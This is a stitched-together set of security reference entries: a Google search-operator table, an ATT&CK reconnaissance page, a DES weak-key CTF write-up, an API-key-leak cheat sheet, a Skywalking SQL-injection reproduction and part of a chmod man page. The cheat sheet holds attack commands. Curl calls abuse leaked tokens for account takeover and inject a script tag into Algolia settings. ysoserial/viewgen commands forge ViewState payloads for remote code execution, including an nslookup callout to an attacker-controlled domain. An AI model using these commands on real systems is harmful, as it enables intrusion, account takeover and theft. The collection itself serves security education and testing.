| `#..#` | # represents a number in this instance. Use to find numbers in a series. | Basic |
| `$` | Allows for search of USD | Basic |
| `€` | Allows for search of Euro | Basic |
| `in` | Allows searches for unit conversion (currency, unit or measure) | Basic |
| `~` | Prefix - Include synonyms (potentially defunct) | Basic |
| `+` | Prefix - Force exact match on single phrase | Basic,Mail |
| `AROUND(X)` | This is sandwiched between two words and the X declares how many words they must be mentioned between. I.e. if it’s (4) then the two keywords must be mentioned within 4 words of each other. | Advanced |
| `_` | Acts as wildcard for autocomplete | Advanced |
### Search with url
| Operator | Description | Category |
|-------------|--------------------------------------------------------------------------------------------------------------------------------------------|----------|
| `inurl:` | Only returns results where the queried keyword(s) is present in the URL | Advanced |
| `allinurl:` | As above but only containing all of the specified words in the URL | Advanced |
| `blogurl:` | Find blog URLs under a specific domain. This was used in Google blog search, but I’ve found it does return some results in regular search. | Advanced |
| `site:` | Limit results to those from one site | Advanced |
| `related:` | Find similar domains to the queried domain | Advanced |
### Search with dates
| Operator | Description | Category |
|--------------|------------------------------------------------------------------------------------------------------|------------|
| `daterange:` | Return results in a specified range (requires julian dates) | Advanced |
| `after:` | Allows you to search drive or mail for files modified or mail sent/received anytime after a set date | Drive,Mail |
| `before:` | Allows you to search drive or mail for files modified or mail sent/received before a certain date | Drive,Mail |
| `older:` | Search for messages older than a certain date | Mail |
| `newer:` | Search for messages newer than a certain date | Mail |
### Search files
| Operator | Description | Category |
|-----------------|------------------------------------------------------------------------------------------------------|------------|
| `filename:` | Search for messages with a particular type of file attached, or the exact name of a file | Mail |
| `type:` | Allows you to search drive by file type | Drive |
| `owner:` | Allows you to search drive by owner of file or folder | Drive |
| `to:` | Allows you to search drive for files shared with a specific person | Drive |
| `title:` | Searches drive for files with the keyword in their title alone | Drive |
| `source:domain` | Allows you to search for files or folders shared with everyone in your business | Drive |
| `filetype:` | Returns only files of a particular type associated with the keyword searched | Advanced |
| `ext:` | As above, based on extension | Advanced |
| `after:` | Allows you to search drive or mail for files modified or mail sent/received anytime after a set date | Drive,Mail |
| `before:` | Allows you to search drive or mail for files modified or mail sent/received before a certain date | Drive,Mail |
| `is:trashed` | Searches for the item in the Drive bin | Drive |
### Search with page content
| Operator | Description | Category |
|----------------|---------------------------------------------------------------------------------------------------------------------|----------|
| `link:` | Find pages that link to the target domain | Advanced |
| `inanchor:` | Find pages linked to with the specified anchor text/ phrase. Data is heavily sampled. | Advanced |
| `allinanchor:` | Find pages with all individual terms after "inanchor:" in the inbound anchor text. | Advanced |
| `intitle:` | Returns pages based on the searched query appearing in their title | Advanced |
| `allintitle:` | Similar to intitle: but only returns titles where all the words in the title match | Advanced |
| `inposttile:` | Finds pages with keywords in their post titles (i.e. for researching blogs) | |
| `intext:` | Finds pages where the keyword(s) are mentioned within the page content. | Advanced |
| `allintext:` | Similar to “intext,” but only results containing all of the specified words somewhere on the page will be returned. | Advanced |
### Keywords
| Operator | Description | Category |
|-------------------|--------------------------------------------------------------------------------------------------|----------|
| `Business` | type E.g. cafe, restaurant, bar etc will return a selection of appropriate businesses in the are | Maps |
| `Petrol/Charging` | Station EV near me or perol station near me returns | Maps |
| `Search` | for a message with a google sheet attached | Mail |
| `Search` | for a message with a google presentation attached | Mail |
### Search on emails
| Operator | Description | Category |
|-------------------|-------------------------------------------------------------------------------------------------------|------------|
| `+` | Prefix - Force exact match on single phrase | Basic,Mail |
| `()` | Allows grouping of operators and helps dictate order | Basic,Mail |
| `-` | Excludes a word from results | Basic,Mail |
| `""` | Allows searching for a specific phrase - exact match search. Individual word prevents synonyms | Basic,Mail |
| `OR`/`AND` | Boolean search function for OR searches as Google defaults to AND between words - must be all caps | Basic,Mail |
| `after:` | Allows you to search drive or mail for files modified or mail sent/received anytime after a set date | Drive,Mail |
| `before:` | Allows you to search drive or mail for files modified or mail sent/received before a certain date | Drive,Mail |
| `is:starred` | Searches only items that have been starred in drive | Drive,Mail |
| `from:` | Specify the sender in google mail | Mail |
| `to:` | Specify the recipient in google mail | Mail |
| `cc:` | Search by a recipient that was copied into an email | Mail |
| `bcc:` | Search by a recipient that was blind copied into an email | Mail |
| `older:` | Search for messages older than a certain date | Mail |
| `newer:` | Search for messages newer than a certain date | Mail |
| `Search` | for a message with a google sheet attached | Mail |
| `Search` | for a message with a google presentation attached | Mail |
| `AROUND` | Similar to the normal google search function, allows you to search for keywords near each other. | Mail |
| `subject:` | Search by keywords featured in the subject line | Mail |
| `{}` | Use for OR in mail instead of the OR function | Mail |
| `label:` | Search for messages that have a certain label | Mail |
| `has:attachment` | Search for messages that have an item attached | Mail |
| `has:drive` | Search for messages with a google drive attached | Mail |
| `has:document` | Search for messages with a google doc attached | Mail |
| `has:youtube` | Search for a message containing a youtube video | Mail |
| `list:` | Search for all messages from a particular mailing list | Mail |
| `in:anywhere` | Includes all folders in your search, including spam and bin | Mail |
| `is:important` | Search for messages that have been marked as important | Mail |
| `label:important` | Same as is:important | Mail |
| `is:snoozed` | Searches for messages that have been snoozed | Mail |
| `is:unread` | Searches for unread messages | Mail |
| `is:read` | searches for read messages only | Mail |
| `has:yellow-star` | Searches for messages with coloured star icon | Mail |
| `has:blue-info` | Searches for messages with colourd icon | Mail |
| `is:chat` | Searches for messagse from chat | Mail |
| `deliveredto:` | Search by email address for delivered messages | Mail |
| `category:` | Searches by messages based on category. Follow the colon with the categoy name, i.e. category:primary | Mail |
| `size:` | Messages larger than a certain size in bytes | Mail |
| `larger:` | Messages larger than a certain size in bytes | Mail |
| `smaller:` | Messages smaller than a certain size in bytes | Mail |
| `has:userlabels` | Search for messages that have custom user labels | Mail |
| ` ` | Search for messages that have no custom user labels | Mail |
### Some other useful search operators
| Operator | Description | Category |
|-------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|
| `define:` | Pulls a card response from Google displaying the dictionary definition of the word or phrase | Advanced |
| `cache:` | Returns the most up to date cache of an indexed web page | Advanced |
| `weather:` | Brings up the featured snipped for weather for that location | Advanced |
| `stocks:` | Returns stock information for the specified ticker | Advanced |
| `map:` | Force google map results for a particular query | Advanced |
| `movie:` | Find information for the specified movie (particularly useful when that movie has an ambiguous name). If the movie is still in theatres it’ll also return screen times | Advanced |
| `source:` | Use in google news, returns results from the specified source | Advanced |
| `loc:` | Returns results for a specific location | Advanced |
| `location:` | As above but with Google news | Advanced |
| `info:` | Returns information related to a domain (pages with domain text, similar on-site pages, cache etc) | Advanced |
| `near` | Part of the google maps lazy searches e.g. book shops near work | Maps |
Also see
--------
- [Google Search Operators Cheat Sheet](https://static.semrush.com/blog/uploads/files/39/12/39121580a18160d3587274faed6323e2.pdf) _(static.semrush.com)_
|
sec-knowleage
|
# T1596-005-搜索开放的技术数据库-公开的扫描数据库
## 来自ATT&CK的描述
入侵受害者之前,攻击者可以在公开的扫描数据中搜索可在目标确定期间使用的有关受害者的信息。各种在线服务不断发布Internet扫描/调查的结果,经常收集诸如活动IP地址,主机名,开放端口,证书甚至服务器旗标之类的信息。(引自:Shodan)
击者可以搜索扫描数据库以收集可操作的信息。威胁方可以使用在线资源和查找工具从这些服务中收集信息。攻击者可能会寻求已确定目标的相关信息,或使用这些数据集来发现成功突破的机会。这些来源提供的信息可能为如下活动提供可能性:其他形式的侦察活动(例如:[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)),建立运营资源(例如:[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587)或[获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)),或实现初始访问(例如:[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133)或[面向公众应用的漏洞利用](https://contribute.knowledge.qihoo.net/detail/technique/T1190))。
## 测试案例
例如利用fofa、zoomeye、quake、shodan等空间测绘系统,收集相关用户信息。
FOFA: <https://fofa.so/>
zoomeye: <https://www.zoomeye.org/>
quake: <https://quake.360.cn/quake/#/index>
shodan: <https://www.shodan.io/>
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。
检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。
## 参考推荐
MITRE-ATT&CK-T1596-005
<https://attack.mitre.org/techniques/T1596/005/>
|
sec-knowleage
|
# nani desu ka??
Category: Cryptography
## Description
> この暗号は何ですか?
A binary ciphertext file and a Python script were attached.
```python
from Crypto.Cipher import DES
flag = ""
key = ""
iv = b'13371337'
def pad(m):
size = len(m) + (8 - ( len(m) % 8 ))
padding = bytes([size])
return m.ljust(size, padding)
def encrypt(m, key, iv):
des = DES.new(key, DES.MODE_OFB, iv)
return des.encrypt(m)
def decrypt(c, key, iv):
des = DES.new(key, DES.MODE_OFB, iv)
return des.decrypt(c)
c = encrypt(pad(flag), key, iv)
with open('ciphertext','wb') as handle:
handle.write(c)
```
## Solution
The title means "what is (it)?" and the description translates to "What is this cipher?".
Let's inspect the binary file:
```console
root@kali:/media/sf_CTFs/technion/nani_desu_ka# xxd ciphertext
00000000: 29e5 ff03 571f 4ba6 1013 5b52 4356 135e )...W.K...[RCV.^
00000010: 1daa e40f 1255 42a8 5054 0917 5240 4752 .....UB.PT..R@GR
00000020: 0de2 fe0e 181b 5ff0 6e44 0003 5a6c 5804 ......_.nD..ZlX.
00000030: 17d5 f402 0400 59fc ......Y.
```
Not much we can take from there.
However, from the Python file we see that the plaintext was encrypted with DES-OFB. Searching for vulnerabilities regarding this encryption method, we find a [similar challenge](https://github.com/Alpackers/CTF-Writeups/tree/master/2016/BostonKeyParty/Crypto/des-ofb) which was solved by trying to decrypt the message with some weak keys:
```
0x0000000000000000
0xFFFFFFFFFFFFFFFF
0xE1E1E1E1F0F0F0F0
0x1E1E1E1E0F0F0F0F
```
Let's try them all:
```python
import nani
import string, binascii
WEAK_KEYS = [b'\x00\x00\x00\x00\x00\x00\x00\x00', b'\x1E\x1E\x1E\x1E\x0F\x0F\x0F\x0F',
b'\xE1\xE1\xE1\xE1\xF0\xF0\xF0\xF0', b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF']
with open('ciphertext','rb') as f:
ciphertext = f.read()
for key in WEAK_KEYS:
plaintext = nani.decrypt(ciphertext, key, nani.iv)
if (all(c in string.printable for c in plaintext)):
print("Key: {}".format(binascii.hexlify(key)))
print ("Text: {}".format(plaintext))
```
Output:
```console
root@kali:/media/sf_CTFs/technion/nani_desu_ka# python solve.py
Key: ffffffffffffffff
Text: Good job! here is the flag: cstechnion{4_w34k_k3y_desu}8
```
|
sec-knowleage
|
# API Key Leaks
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
## Summary
- [Tools](#tools)
- [Exploit](#exploit)
- [Google Maps](#google-maps)
- [Algolia](#algolia)
- [AWS Access Key ID & Secret](#aws-access-key-id--secret)
- [Slack API Token](#slack-api-token)
- [Facebook Access Token](#facebook-access-token)
- [Github client id and client secret](#github-client-id-and-client-secret)
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
- [Twitter API Secret](#twitter-api-secret)
- [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [HockeyApp API Token](#hockeyapp-api-token)
- [IIS Machine Keys](#iis-machine-keys)
- [Mapbox API Token](#Mapbox-API-Token)
## Tools
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
```ps1
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
trufflehog git https://github.com/trufflesecurity/trufflehog.git
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2
```
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
```powershell
nuclei -t token-spray/ -var token=token_list.txt
```
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
```ps1
python examples/cli.py --url http://example.com/contains_bad_secret.html
python examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
```
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
## Exploit
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
### Google Maps
Use : https://github.com/ozguralp/gmapsapiscanner/
Usage:
| Name | Endpoint |
| --- | --- |
| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE |
| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE |
| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
Impact:
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
### Algolia
```powershell
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
```
### Slack API Token
```powershell
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```
### Facebook Access Token
```powershell
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```
### Github client id and client secret
```powershell
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```
### Twilio Account_sid and Auth token
```powershell
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
```
### Twitter API Secret
```powershell
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```
### Twitter Bearer Token
```powershell
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```
### Gitlab Personal Access Token
```powershell
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```
### HockeyApp API Token
```powershell
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
```
### IIS Machine Keys
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
Requirements
* machineKey **validationKey** and **decryptionKey**
* __VIEWSTATEGENERATOR cookies
* __VIEWSTATE cookies
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
```xml
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```
Common locations of **web.config** / **machine.config**
* 32-bit
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
* 64-bit
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
#### Identify known machine key
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
```powershell
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode
```
#### Decode ViewState
```powershell
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
```
#### Generate ViewState for RCE
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
```powershell
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
```
#### Edit cookies with the machine key
If you have the machineKey but the viewstate is disabled.
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
```powershell
# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
### Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
```
#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
```
## References
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
|
sec-knowleage
|
# Apache Skywalking 8.3.0 SQL注入漏洞
Apache Skywalking是一款针对分布式系统的应用程序性能监视工具,为微服务,云原生和基于容器(Docker,Kubernetes,Mesos)的体系结构而设计。
在Apache Skywalking 8.3.0版本及以前的GraphQL接口中,存在一处H2 Database SQL注入漏洞。
参考链接:
- https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
- https://github.com/apache/skywalking/commit/0bd81495965d801315dd7417bb17333ae0eccf3b#diff-ec87a1cdf66cdb37574d9eafd4d72d99ed94a38c4a8ff2aa9c7b8daeff502a2c
## 漏洞环境
执行如下命令启动一个Apache Skywalking 8.3.0版本:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看Skywalking的页面。
## 漏洞复现
我们使用graphiql的桌面APP发送如下graphql查询:

可见,SQL语句已经出错,`metricName`参数的值被拼接到`from`后面。
这个请求的HTTP数据包为:
```
POST /graphql HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"sqli",
"state":"ALL",
"paging":{
"pageSize":10
}
}
}
}
```
更加深入的利用,大家可以自行研究,并欢迎将文档提交到Vulhub中。
|
sec-knowleage
|
# Additional Contributors and Thanks
[中文版本(Chinese version)](contributors.zh-cn.md)
Some people have privately contributed to this project. Private contributions cannot be displayed on the [github contributors page](https://github.com/vulhub/vulhub/graphs/contributors), so we thank them here:
Avatar | ID | Blog
---- | ---- | ----
[](https://github.com/phith0n) | [phith0n](https://github.com/phith0n) | https://www.leavesongs.com/
[](https://github.com/stayliv3) | [xd_xd](https://github.com/stayliv3) | http://xdxd.love/
[](https://github.com/neargle) | [Neargle](https://github.com/neargle) | http://blog.neargle.com/
[](https://github.com/monburan) | [monburan](https://github.com/monburan) | http://monburan.cn/
[](https://github.com/cbmixx) | [cbmixx](https://github.com/cbmixx) | (null)
[](https://github.com/Y4nTsing) | [Y4nTsing](https://github.com/Y4nTsing) | (null)
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH CHMOD 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
chmod \- 改变文件模式比特位
.SH 概述
\fBchmod\fP [\fI\,选项\/\fP]... \fI\,模式\/\fP[\fI\,,模式\/\fP]... \fI\,文件列表\/\fP...
.br
\fBchmod\fP [\fI\,选项\/\fP]... \fI\,八进制模式字符串 文件列表\/\fP...
.br
\fBchmod\fP [\fI\,选项\/\fP]... \fI\,\-\-reference=参考文件 文件列表\/\fP...
.SH 描述
本手册页记录了 GNU 版本的 \fBchmod\fP。\fBchmod\fP 根据给定
\fI模式\fP改变每个给出文件的模式比特位,其模式字符串既可以是修改目标的符号表示,也可以是用一个八进制数字来代表新的模式比特位形式。
.PP
The format of a symbolic mode is
[\fBugoa\fP.\|.\|.][[\fB\-+=\fP][\fIperms\fP.\|.\|.].\|.\|.], where \fIperms\fP is either
zero or more letters from the set \fBrwxXst\fP, or a single letter from the set
\fBugo\fP. Multiple symbolic modes can be given, separated by commas.
.PP
A combination of the letters \fBugoa\fP controls which users' access to the
file will be changed: the user who owns it (\fBu\fP), other users in the file's
group (\fBg\fP), other users not in the file's group (\fBo\fP), or all users
(\fBa\fP). If none of these are given, the effect is as if (\fBa\fP) were given,
but bits that are set in the umask are not affected.
.PP
The operator \fB+\fP causes the selected file mode bits to be added to the
existing file mode bits of each file; \fB\-\fP causes them to be removed; and
\fB=\fP causes them to be added and causes unmentioned bits to be removed
except that a directory's unmentioned set user and group ID bits are not
affected.
.PP
The letters \fBrwxXst\fP select file mode bits for the affected users: read
(\fBr\fP), write (\fBw\fP), execute (or search for directories) (\fBx\fP),
execute/search only if the file is a directory or already has execute
permission for some user (\fBX\fP), set user or group ID on execution (\fBs\fP),
restricted deletion flag or sticky bit (\fBt\fP). Instead of one or more of
these letters, you can specify exactly one of the letters \fBugo\fP: the
permissions granted to the user who owns the file (\fBu\fP), the permissions
granted to other users who are members of the file's group (\fBg\fP), and the
permissions granted to users that are in neither of the two preceding
categories (\fBo\fP).
.PP
A numeric mode is from one to four octal digits (0\-7), derived by adding up
the bits with values 4, 2, and 1. Omitted digits are assumed to be leading
zeros. The first digit selects the set user ID (4) and set group ID (2) and
restricted deletion or sticky (1) attributes. The second digit selects
permissions for the user who owns the file: read (4), write (2), and execute
(1); the third selects permissions for other users in the file's group, with
the same values; and the fourth for other users not in the file's group,
with the same values.
.PP
\fBchmod\fP never changes the permissions of symbolic links; the \fBchmod\fP
system call cannot change their permissions. This is not a problem since
the permissions of symbolic links are never used. However, for each
symbolic link listed on the command line, \fBchmod\fP changes the permissions
of the pointed\-to file. In contrast, \fBchmod\fP ignores symbolic links
encountered during recursive directory traversals.
.SH "SETUID 和 SETGID 比特位"
\fBchmod\fP clears the set\-group\-ID bit of a regular file if the file's group
ID does not match the user's effective group ID or one of the user's
supplementary group IDs, unless the user has appropriate privileges.
Additional restrictions may cause the set\-user\-ID and set\-group\-ID bits of
\fIMODE\fP or \fIRFILE\fP to be ignored. This behavior depends on the policy and
functionality of the underlying \fBchmod\fP system call. When in doubt, check
the underlying system behavior.
.PP
For directories \fBchmod\fP preserves set\-user\-ID and set\-group\-ID bits unless
you explicitly specify otherwise. You can set or clear the bits with
symbolic modes like \fBu+s\fP and \fBg\-s\fP. To clear these bits for directories
with a numeric mode requires an additional leading zero like \fB00755\fP,
leading minus like \fB\-6000\fP, or leading equals like \fB=755\fP.
.SH "RESTRICTED DELETION FLAG OR STICKY BIT"
The restricted deletion flag or sticky bit is a single bit, whose
interpretation depends on the file type. For directories, it prevents
unprivileged users from removing or renaming a file in the directory unless
they own the file or the directory; this is called the \fIrestricted deletion flag\fP for the directory, and is commonly found on world\-writable directories
like \fB/tmp\fP. For regular files on some older systems, the bit saves the
program's text image on the swap device so it will load more quickly when
run; this is called the \fIsticky bit\fP.
.SH 选项
.PP
将每个文件的权限模式变更至指定模式。使用 \fB\-\-reference\fP 选项时,把指定文件的模式设置为与参考文件相同。
